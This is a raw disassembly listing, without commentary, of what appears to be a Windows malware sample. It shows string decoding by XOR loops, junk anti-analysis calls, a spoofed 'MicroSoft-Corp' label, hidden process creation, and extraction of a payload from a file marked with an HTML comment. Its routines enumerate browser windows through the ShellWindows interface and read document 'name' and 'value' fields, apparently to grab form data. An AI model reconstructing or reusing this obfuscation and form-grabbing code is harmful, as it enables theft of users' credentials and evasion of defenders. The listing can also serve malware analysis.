		mov	[ebp+var_26C], eax
		lea	edi, [ebp+var_283]
		lea	esi, aHv1xj	; "hV1xJ"
		mov	ecx, 3
		rep movsw
		push	10h
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_40C680
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	[ebp+var_270], 104h
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	21h
		push	offset byte_445F2B
		call	sub_4052CE
		mov	[ebp+var_294], eax
		push	4
		push	offset word_445F26
		call	sub_4052CE
		lea	edi, [ebp+var_288]
		push	edi
		lea	edi, [ebp+var_270]
		push	edi
		lea	edi, [ebp+var_250]
		push	edi
		push	eax
		mov	edi, [ebp+var_294]
		push	edi
		push	80000002h
		call	sub_4014AA
		add	esp, 34h
		mov	[ebp+var_274], eax
		mov	[ebp+var_264], 3641h
		inc	[ebp+var_264]
		or	eax, eax
		jnz	short loc_40649D
		mov	byte ptr [ebp+var_298+3], 84h
		add	byte ptr [ebp+var_298+3], 0CDh
		push	[ebp+arg_0]
		call	sub_40C2D8	; LocalFree
		xor	eax, eax
		jmp	loc_4068D7
; ---------------------------------------------------------------------------


loc_40649D:				; CODE XREF: sub_4063A9+D5j
		call	sub_406081
		call	sub_40C218	; GetTickCount
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_40C170	; ExpandEnvironmentStringsA
		push	[ebp+var_26C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_4056EE
		add	esp, 20h
		mov	[ebp+var_14C], eax
		cmp	[ebp+arg_1C], 0
		jz	short loc_40650A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406504
		mov	eax, [ebp+arg_1C]
		mov	edx, [ebp+var_14C]
		mov	[eax], edx
		jmp	short loc_40650A
; ---------------------------------------------------------------------------


loc_406504:				; CODE XREF: sub_4063A9+14Cj
		mov	eax, [ebp+arg_1C]
		and	dword ptr [eax], 0


loc_40650A:				; CODE XREF: sub_4063A9+147j
					; sub_4063A9+159j
		cmp	[ebp+var_14C], 0
		jnz	short loc_406541
		mov	[ebp+var_298], 3EB8h
		mov	eax, [ebp+var_298]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_298], edx
		push	[ebp+arg_0]
		call	sub_40C2D8	; LocalFree
		call	sub_40C218	; GetTickCount
		xor	eax, eax
		jmp	loc_4068D7
; ---------------------------------------------------------------------------


loc_406541:				; CODE XREF: sub_4063A9+168j
		push	0Eh
		push	offset byte_445F17
		call	sub_4052CE
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40C6D4
		call	sub_40C188	; GetCurrentProcessId
		lea	eax, [ebp+var_250]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C6D4
		call	sub_40C2B4	; IsDebuggerPresent
		call	sub_404602
		mov	[ebp+var_278], eax
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C680
		lea	edi, [ebp+var_28D]
		lea	esi, a6djg	; "6DJg"
		mov	ecx, 5
		rep movsb
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C680
		add	esp, 30h
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	[ebp+var_148], 44h
		mov	[ebp+var_11C], 1
		mov	[ebp+var_118], 1
		cmp	[ebp+var_278], 0
		jz	short loc_4065F2
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4046BD
		pop	ecx
		jmp	short loc_4065FB
; ---------------------------------------------------------------------------


loc_4065F2:				; CODE XREF: sub_4063A9+238j
		mov	[ebp+var_118], 0


loc_4065FB:				; CODE XREF: sub_4063A9+247j
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		push	0
		push	0
		push	20h
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	sub_40C38C	; CreateProcessA
		or	eax, eax
		jz	loc_40687C
		call	sub_40C1F4	; GetProcessHeap
		push	[ebp+var_25C]
		call	sub_40C1DC	; CloseHandle
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	22h
		push	offset aVVZkzZuZt ; "‚Ô‚Ò‡Š‡êÎÄÕÈÔÈÁÓ‡îÉÓÂÕÉÂÓ‡âß×ËÈÕÂÕ"
		call	sub_4052CE
		push	[ebp+var_26C]
		push	offset aMicrosoftCorp ;	"MicroSoft-Corp"
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40C6B0
		add	esp, 18h
		mov	word ptr [ebp+var_298],	1C85h
		movzx	eax, word ptr [ebp+var_298]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_298],	ax
		mov	byte ptr [ebp+var_298+3], 0
		jmp	short loc_4066D5
; ---------------------------------------------------------------------------


loc_40668D:				; CODE XREF: sub_4063A9+334j
		call	sub_40C2B4	; IsDebuggerPresent
		push	7
		push	offset aUts	; "îâáÕÆÊÂ"
		call	sub_4052CE
		add	esp, 8
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		call	sub_40C404	; FindWindowA
		mov	ebx, eax
		call	sub_40C224	; GetVersion
		or	ebx, ebx
		jnz	short loc_4066DF
		call	sub_40C2B4	; IsDebuggerPresent
		mov	eax, dword_44128C
		add	eax, 3E6h
		push	eax
		call	sub_40C350	; Sleep
		add	byte ptr [ebp+var_298+3], 1


loc_4066D5:				; CODE XREF: sub_4063A9+2E2j
		mov	al, byte ptr [ebp+var_298+3]
		cmp	al, 0Ah
		jb	short loc_40668D


loc_4066DF:				; CODE XREF: sub_4063A9+30Ej
		or	ebx, ebx
		jz	loc_40686E
		call	sub_40C224	; GetVersion
		push	0F000h
		call	sub_40C350	; Sleep
		call	sub_40C2B4	; IsDebuggerPresent
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	sub_40C3EC	; GetWindowTextA
		mov	eax, 0Bh
		sub	eax, dword_441290
		push	eax
		push	offset aXOkrecv11 ; "X-okRecv11"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40181E
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	loc_406860
		call	sub_40C194	; GetCurrentThreadId
		lea	edi, [ebp+var_29D]
		lea	esi, asc_441324	; "&X"
		mov	ecx, 3
		rep movsb
		mov	[ebp+var_29A], 63F1h
		movzx	eax, [ebp+var_29A]
		imul	eax, 2B65h
		mov	[ebp+var_29A], ax
		lea	eax, [ebp+var_3A1]
		push	eax
		push	[ebp+arg_4]
		call	sub_405409
		add	esp, 8
		or	eax, eax
		jz	loc_40684F
		mov	ax, word_441327
		mov	[ebp+var_3AA], ax
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_3A1]
		push	eax
		call	sub_40C284	; CopyFileA
		call	sub_40C1F4	; GetProcessHeap
		lea	eax, [ebp+var_14C]
		push	eax
		push	[ebp+arg_8]
		call	sub_401AC1
		mov	[ebp+var_3A8], eax
		call	sub_40C1F4	; GetProcessHeap
		push	[ebp+arg_8]
		call	sub_40C3E0	; DeleteFileA
		call	sub_40C188	; GetCurrentProcessId
		push	offset aHtml	; "<HTML><!--"
		call	sub_40C3BC	; lstrlenA
		push	eax
		push	offset aHtml	; "<HTML><!--"
		push	[ebp+var_3A8]
		call	sub_40C6EC
		add	esp, 14h
		or	eax, eax
		jnz	short loc_40681D
		push	offset aHtml	; "<HTML><!--"
		call	sub_40C3BC	; lstrlenA
		mov	edi, [ebp+var_14C]
		sub	edi, 3Ah
		push	edi
		mov	edi, eax
		add	edi, [ebp+var_3A8]
		push	edi
		push	[ebp+arg_8]
		call	sub_405368
		add	esp, 0Ch
		jmp	short loc_406838
; ---------------------------------------------------------------------------


loc_40681D:				; CODE XREF: sub_4063A9+448j
		mov	eax, [ebp+var_14C]
		sub	eax, 40h
		push	eax
		push	[ebp+var_3A8]
		push	[ebp+arg_8]
		call	sub_405368
		add	esp, 0Ch


loc_406838:				; CODE XREF: sub_4063A9+472j
		push	[ebp+var_3A8]
		call	sub_40C2D8	; LocalFree
		mov	[ebp+var_14C], 2
		jmp	short loc_406888
; ---------------------------------------------------------------------------


loc_40684F:				; CODE XREF: sub_4063A9+3D8j
		call	sub_40C1F4	; GetProcessHeap
		mov	[ebp+var_14C], 1
		jmp	short loc_406888
; ---------------------------------------------------------------------------


loc_406860:				; CODE XREF: sub_4063A9+389j
		call	sub_40C194	; GetCurrentThreadId
		and	[ebp+var_14C], 0
		jmp	short loc_406888
; ---------------------------------------------------------------------------


loc_40686E:				; CODE XREF: sub_4063A9+338j
		call	sub_40C224	; GetVersion
		and	[ebp+var_14C], 0
		jmp	short loc_406888
; ---------------------------------------------------------------------------


loc_40687C:				; CODE XREF: sub_4063A9+27Cj
		call	sub_40C2B4	; IsDebuggerPresent
		and	[ebp+var_14C], 0


loc_406888:				; CODE XREF: sub_4063A9+4A4j
					; sub_4063A9+4B5j ...
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_40C3E0	; DeleteFileA
		call	sub_40C188	; GetCurrentProcessId
		push	[ebp+arg_0]
		call	sub_40C2D8	; LocalFree
		mov	[ebp+var_265], 0D3h
		add	[ebp+var_265], 1
		push	0
		push	[ebp+var_260]
		call	sub_40C35C	; TerminateProcess
		call	sub_40C224	; GetVersion
		push	[ebp+var_260]
		call	sub_40C1DC	; CloseHandle
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	eax, [ebp+var_14C]


loc_4068D7:				; CODE XREF: sub_4063A9+EFj
					; sub_4063A9+193j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4063A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4068DC	proc near		; CODE XREF: sub_406B40+9Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_441334
		lea	eax, ds:41B7E0h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	[ebp+var_4], 338h
		xor	edi, edi
		jmp	short loc_406921
; ---------------------------------------------------------------------------


loc_40690A:				; CODE XREF: sub_4068DC+47j
		mov	eax, dword_441334
		add	eax, edi
		lea	eax, ds:41B7E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 49h
		mov	[eax], dl
		inc	edi


loc_406921:				; CODE XREF: sub_4068DC+2Cj
		cmp	edi, esi
		jl	short loc_40690A
		mov	[ebp+var_8], 339h
		mov	eax, dword_441334
		add	eax, esi
		mov	byte ptr ds:dword_41B7E0[eax], 0
		xor	edi, edi
		mov	edi, dword_441334
		mov	eax, edi
		lea	eax, [eax+esi+6]
		mov	dword_441334, eax
		cmp	eax, 0DD4h
		jle	short loc_40695C
		and	dword_441334, 0


loc_40695C:				; CODE XREF: sub_4068DC+77j
		lea	eax, dword_41B7E0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4068DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406966	proc near		; CODE XREF: sub_406E3F+181p
					; sub_406E3F+556p ...

var_F		= byte ptr -0Fh
var_8		= byte ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_8]
		lea	esi, aK3s	; "k-#3S "
		mov	ecx, 7
		rep movsb
		push	[ebp+arg_0]
		call	sub_40C3C8	; lstrlenW
		mov	ebx, eax
		lea	edi, [ebp+var_F]
		lea	esi, aOdvgM	; "ODvG-M"
		mov	ecx, 7
		rep movsb
		push	0
		push	0
		push	1FFFh
		push	[ebp+arg_4]
		push	ebx
		push	[ebp+arg_0]
		push	0
		push	0
		call	sub_40C398	; WideCharToMultiByte
		mov	[ebp+var_1], 59h
		sub	[ebp+var_1], 0F4h
		mov	eax, [ebp+arg_4]
		mov	byte ptr [eax+ebx], 0
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406966	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4069C8	proc near		; CODE XREF: sub_406A44+E1p

var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C1F4	; GetProcessHeap
		cmp	dword_44133C, 0
		jz	short loc_4069ED
		mov	eax, dword_44133C
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4069ED:				; CODE XREF: sub_4069C8+18j
		mov	[ebp+var_2], 7AC0h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		mov	eax, [ebx+4]
		push	dword ptr [ebx+4]
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	[ebp+var_3], 27h
		sub	[ebp+var_3], 0CBh
		mov	eax, [ebx]
		push	dword ptr [ebx]
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	[ebp+var_6], 57B4h
		add	[ebp+var_6], 0E1Ah
		call	sub_40B6D4
		lea	edi, [ebp+var_C]
		lea	esi, aESk	; "E`Sk	"
		mov	ecx, 3
		rep movsw
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4069C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A44	proc near		; CODE XREF: sub_406E3F+41p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_26		= byte ptr -26h
var_20		= byte ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_5], 0BDh
		movzx	eax, [ebp+var_5]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_5], al
		lea	edi, [ebp+var_26]
		lea	esi, asc_441358	; " + '<"
		mov	ecx, 3
		rep movsw
		and	dword ptr [ebx], 0
		and	dword ptr [ebx+4], 0
		push	0
		call	sub_40B6C8
		call	sub_40C188	; GetCurrentProcessId
		lea	eax, [ebp+var_20]
		push	eax
		push	offset a9ba05972F6a811 ; "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
		call	sub_40B6BC
		mov	[ebp+var_4], eax
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setl	al
		mov	[ebp+var_30], eax
		or	eax, eax
		jnz	short loc_406B24
		call	sub_40C2B4	; IsDebuggerPresent
		push	ebx
		push	offset dword_446A54
		push	4
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40B6B0
		mov	[ebp+var_4], eax
		lea	edi, [ebp+var_2B]
		lea	esi, aVifa	; "ViFA"
		mov	ecx, 5
		rep movsb
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setl	al
		mov	[ebp+var_34], eax
		or	eax, eax
		jnz	short loc_406B24
		mov	[ebp+var_C], 548Ch
		sub	[ebp+var_C], 6CA6h
		mov	eax, ebx
		add	eax, 4
		push	eax
		push	offset dword_446A44
		mov	eax, [ebx]
		push	dword ptr [ebx]
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setl	al
		mov	[ebp+var_38], eax
		or	eax, eax
		jnz	short loc_406B24
		call	sub_40C2B4	; IsDebuggerPresent
		xor	eax, eax
		inc	eax
		jmp	short loc_406B3B
; ---------------------------------------------------------------------------


loc_406B24:				; CODE XREF: sub_406A44+60j
					; sub_406A44+9Bj ...
		push	ebx
		call	sub_4069C8
		pop	ecx
		mov	[ebp+var_10], 453Ah
		sub	[ebp+var_10], 300Dh
		xor	eax, eax


loc_406B3B:				; CODE XREF: sub_406A44+DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B40	proc near		; CODE XREF: sub_406E3F+A3p

var_10035	= byte ptr -10035h
var_10034	= word ptr -10034h
var_10032	= byte ptr -10032h
var_1002C	= dword	ptr -1002Ch
var_10028	= dword	ptr -10028h
var_10023	= byte ptr -10023h
var_24		= word ptr -24h
var_21		= byte ptr -21h
var_20		= word ptr -20h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10038h
		call	sub_40C118
		push	ebx
		push	esi
		push	edi
		call	sub_40C1B8	; RtlGetLastWin32Error
		cmp	dword_441340, 0FFFFh
		jz	short loc_406B68
		and	dword_441338, 0


loc_406B68:				; CODE XREF: sub_406B40+1Fj
		mov	[ebp+var_C], 2E9Fh
		add	[ebp+var_C], 5477h
		mov	eax, dword_441338
		cmp	[ebp+arg_4], eax
		jz	loc_406DAF
		mov	eax, [ebp+arg_4]
		mov	dword_441338, eax
		cmp	dword_44133C, 0
		jz	short loc_406BB1
		call	sub_40C194	; GetCurrentThreadId
		mov	eax, dword_44133C
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		call	sub_40C188	; GetCurrentProcessId
		and	dword_44133C, 0


loc_406BB1:				; CODE XREF: sub_406B40+53j
		mov	eax, dword_441363
		mov	[ebp+var_1002C], eax
		push	0FFFFh
		lea	eax, [ebp+var_10023]
		push	eax
		push	[ebp+arg_4]
		call	sub_40C3EC	; GetWindowTextA
		call	sub_40C224	; GetVersion
		push	1Bh
		push	offset dword_445E6C
		call	sub_4068DC
		mov	edi, 11h
		sub	edi, dword_441330
		push	edi
		push	eax
		lea	edi, [ebp+var_10023]
		push	edi
		call	sub_40181E
		add	esp, 14h
		cmp	eax, 0FFFFh
		jnz	short loc_406C3B
		mov	[ebp+var_10034], 11FFh
		movzx	eax, [ebp+var_10034]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_10034], ax
		and	dword_44133C, 0
		mov	[ebp+var_10035], 6Ch
		add	[ebp+var_10035], 0C8h
		jmp	loc_406DAF
; ---------------------------------------------------------------------------


loc_406C3B:				; CODE XREF: sub_406B40+C2j
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		call	sub_40C1B8	; RtlGetLastWin32Error
		cmp	[ebp+var_8], 0
		jz	loc_406DAF
		call	sub_40C2B4	; IsDebuggerPresent
		or	ebx, ebx
		jnz	loc_406DAF
		call	sub_40C188	; GetCurrentProcessId
		and	[ebp+var_4], 0
		cmp	dword_441340, 0FFFFh
		jz	short loc_406CB7
		call	sub_40C194	; GetCurrentThreadId
		inc	dword_441340
		mov	eax, [ebp+var_8]
		cmp	dword_441340, eax
		jbe	short loc_406C9B
		and	dword_441340, 0


loc_406C9B:				; CODE XREF: sub_406B40+152j
		mov	dword ptr [ebp-10038h],	65A5h
		sub	dword ptr [ebp-10038h],	74CEh
		mov	eax, dword_441340
		mov	[ebp+var_4], eax


loc_406CB7:				; CODE XREF: sub_406B40+13Cj
					; sub_406B40+262j
		push	0
		call	sub_40C638
		pop	ecx
		lea	edi, [ebp+var_10032]
		lea	esi, aMVaj	; "M ‚€J"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_20], 2
		mov	eax, [ebp+var_4]
		mov	[ebp+var_18], eax
		mov	dword_441340, eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	esi, [ebp+var_20]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_0]
		mov	edi, [edi+4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_406D80
		call	sub_40C1F4	; GetProcessHeap
		push	offset dword_44133C
		push	offset dword_446A64
		mov	eax, [ebp+var_10]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		call	sub_40C194	; GetCurrentThreadId
		or	ebx, ebx
		jnz	short loc_406D80
		lea	eax, [ebp+var_10028]
		push	eax
		mov	eax, dword_44133C
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		call	sub_40C194	; GetCurrentThreadId
		or	ebx, ebx
		jnz	short loc_406D80
		mov	[ebp+var_21], 0AEh
		movzx	eax, [ebp+var_21]
		imul	eax, 4F3Fh
		mov	[ebp+var_21], al
		mov	dword_441340, 0FFFFh
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10028], eax
		jz	short loc_406DAF
		mov	[ebp+var_24], 1316h
		inc	[ebp+var_24]


loc_406D80:				; CODE XREF: sub_406B40+1C7j
					; sub_406B40+1EEj ...
		cmp	dword_44133C, 0
		jz	short loc_406D94
		mov	eax, dword_44133C
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_406D94:				; CODE XREF: sub_406B40+247j
		call	sub_40C224	; GetVersion
		inc	[ebp+var_4]
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_4], eax
		jb	loc_406CB7
		and	dword_44133C, 0


loc_406DAF:				; CODE XREF: sub_406B40+3Ej
					; sub_406B40+F6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406DB4	proc near		; CODE XREF: sub_406E3F+5F5p
					; sub_406E3F+646p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_441378
		lea	eax, ds:430DE0h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	[ebp+var_4], 17Fh
		xor	edi, edi
		jmp	short loc_406DF8
; ---------------------------------------------------------------------------


loc_406DE1:				; CODE XREF: sub_406DB4+46j
		mov	eax, dword_441378
		add	eax, edi
		lea	eax, ds:430DE0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 6Ch
		mov	[eax], dl
		inc	edi


loc_406DF8:				; CODE XREF: sub_406DB4+2Bj
		cmp	edi, esi
		jl	short loc_406DE1
		mov	eax, dword_441378
		add	eax, esi
		mov	byte ptr ds:dword_430DE0[eax], 0
		mov	edi, dword_441378
		add	dword_441378, 3
		mov	eax, dword_441378
		add	eax, 6
		add	eax, esi
		mov	dword_441378, eax
		cmp	eax, 0DCDh
		jle	short loc_406E35
		and	dword_441378, 0


loc_406E35:				; CODE XREF: sub_406DB4+78j
		lea	eax, dword_430DE0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_406DB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E3F	proc near		; CODE XREF: sub_407F91+62p

var_63870	= dword	ptr -63870h
var_6386A	= byte ptr -6386Ah
var_63869	= byte ptr -63869h
var_63864	= dword	ptr -63864h
var_63860	= dword	ptr -63860h
var_6385A	= byte ptr -6385Ah
var_6285B	= byte ptr -6285Bh
var_62854	= dword	ptr -62854h
var_6284D	= byte ptr -6284Dh
var_6284C	= word ptr -6284Ch
var_6284A	= word ptr -6284Ah
var_62848	= dword	ptr -62848h
var_62842	= word ptr -62842h
var_62840	= dword	ptr -62840h
var_6283B	= byte ptr -6283Bh
var_6283A	= word ptr -6283Ah
var_62838	= word ptr -62838h
var_62830	= dword	ptr -62830h
var_62828	= word ptr -62828h
var_62820	= dword	ptr -62820h
var_6281A	= byte ptr -6281Ah
var_62818	= dword	ptr -62818h
var_62814	= dword	ptr -62814h
var_62810	= dword	ptr -62810h
var_6280C	= dword	ptr -6280Ch
var_62807	= byte ptr -62807h
var_62806	= word ptr -62806h
var_62804	= dword	ptr -62804h
var_62800	= byte ptr -62800h
var_627F9	= byte ptr -627F9h
var_627F1	= byte ptr -627F1h
var_627EA	= dword	ptr -627EAh
var_627E6	= byte ptr -627E6h
var_627DE	= word ptr -627DEh
var_627DC	= dword	ptr -627DCh
var_627D6	= word ptr -627D6h
var_627D4	= word ptr -627D4h
var_627D1	= byte ptr -627D1h
var_627D0	= dword	ptr -627D0h
var_627CC	= dword	ptr -627CCh
var_627C7	= byte ptr -627C7h
var_626C8	= dword	ptr -626C8h
var_626C4	= dword	ptr -626C4h
var_626C0	= word ptr -626C0h
var_626B8	= dword	ptr -626B8h
var_626AC	= dword	ptr -626ACh
var_626A8	= dword	ptr -626A8h
var_626A4	= dword	ptr -626A4h
var_626A0	= dword	ptr -626A0h
var_6269C	= dword	ptr -6269Ch
var_62698	= dword	ptr -62698h
var_62694	= dword	ptr -62694h
var_6268F	= byte ptr -6268Fh
var_6268C	= dword	ptr -6268Ch
var_62687	= byte ptr -62687h
var_526B0	= byte ptr -526B0h
var_526A8	= dword	ptr -526A8h
var_526A0	= word ptr -526A0h
var_52698	= dword	ptr -52698h
var_52691	= byte ptr -52691h
var_52690	= dword	ptr -52690h
var_5268B	= byte ptr -5268Bh
var_5268A	= byte ptr -5268Ah
var_52689	= byte ptr -52689h
var_52688	= dword	ptr -52688h
var_52684	= byte ptr -52684h
var_5267E	= byte ptr -5267Eh
var_52678	= byte ptr -52678h
var_52675	= byte ptr -52675h
var_5266D	= byte ptr -5266Dh
var_52666	= word ptr -52666h
var_52664	= byte ptr -52664h
var_5265D	= byte ptr -5265Dh
var_5265C	= byte ptr -5265Ch
var_52656	= byte ptr -52656h
var_52650	= dword	ptr -52650h
var_5264C	= word ptr -5264Ch
var_5264A	= byte ptr -5264Ah
var_52642	= dword	ptr -52642h
var_5263E	= word ptr -5263Eh
var_5263C	= dword	ptr -5263Ch
var_52638	= dword	ptr -52638h
var_52634	= byte ptr -52634h
var_5262C	= dword	ptr -5262Ch
var_52626	= word ptr -52626h
var_52624	= word ptr -52624h
var_52622	= word ptr -52622h
var_52620	= dword	ptr -52620h
var_5261A	= word ptr -5261Ah
var_52618	= dword	ptr -52618h
var_52614	= dword	ptr -52614h
var_52610	= dword	ptr -52610h
var_5260C	= dword	ptr -5260Ch
var_52606	= word ptr -52606h
var_52604	= dword	ptr -52604h
var_52600	= dword	ptr -52600h
var_525FC	= word ptr -525FCh
var_525F9	= byte ptr -525F9h
var_525F8	= dword	ptr -525F8h
var_525F4	= dword	ptr -525F4h
var_525EE	= word ptr -525EEh
var_525EC	= dword	ptr -525ECh
var_525E8	= dword	ptr -525E8h
var_525E4	= dword	ptr -525E4h
var_525DF	= byte ptr -525DFh
var_524E0	= byte ptr -524E0h
var_524D8	= dword	ptr -524D8h
var_524CC	= dword	ptr -524CCh
var_524C8	= byte ptr -524C8h
var_39E28	= byte ptr -39E28h
var_21788	= word ptr -21788h
var_21786	= word ptr -21786h
var_21784	= dword	ptr -21784h
var_2177D	= byte ptr -2177Dh
var_1177E	= word ptr -1177Eh
var_1177C	= word ptr -1177Ch
var_10FAC	= dword	ptr -10FACh
var_10FA8	= dword	ptr -10FA8h
var_10FA4	= dword	ptr -10FA4h
var_10001	= byte ptr -10001h
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		mov	eax, 63870h
		call	sub_40C118
		push	ebx
		push	esi
		push	edi
		call	sub_40C224	; GetVersion
		push	offset aValue	; "value"
		call	sub_40B68C
		mov	[ebp+var_10FA8], eax
		call	sub_40C2B4	; IsDebuggerPresent
		push	offset aName	; "name"
		call	sub_40B68C
		mov	[ebp+var_10FAC], eax
		lea	eax, [ebp+var_52634]
		push	eax
		call	sub_406A44
		pop	ecx
		or	eax, eax
		jz	loc_407F8C
		call	sub_40C1B8	; RtlGetLastWin32Error


loc_406E93:				; CODE XREF: sub_406E3F+BFj
					; sub_406E3F+F0j ...
		push	0
		call	sub_40C638
		mov	[ebp+var_52610], 6856h
		mov	eax, 469Bh
		mul	[ebp+var_52610]
		mov	[ebp+var_52688], eax
		mov	[ebp+var_52610], eax
		call	sub_40C434	; GetForegroundWindow
		mov	[ebp+var_52614], eax
		mov	[ebp+var_52618], 78A5h
		sub	[ebp+var_52618], 5C4Ch
		push	eax
		lea	eax, [ebp+var_52634]
		push	eax
		call	sub_406B40
		add	esp, 0Ch
		mov	ax, word_441388
		mov	[ebp+var_5263E], ax
		cmp	dword_44133C, 0
		jz	short loc_406E93
		mov	eax, dword_44138A
		mov	[ebp+var_52642], eax
		lea	eax, [ebp+var_525F4]
		push	eax
		mov	eax, dword_44133C
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		lea	edi, [ebp+var_5264A]
		lea	esi, aTnaJ4	; "TNa=J:4"
		movsd
		movsd
		or	ebx, ebx
		jnz	loc_406E93
		call	sub_40C218	; GetTickCount
		lea	eax, [ebp+var_525F8]
		push	eax
		push	offset dword_446A04
		mov	eax, [ebp+var_525F4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	[ebp+var_525F9], 0DEh
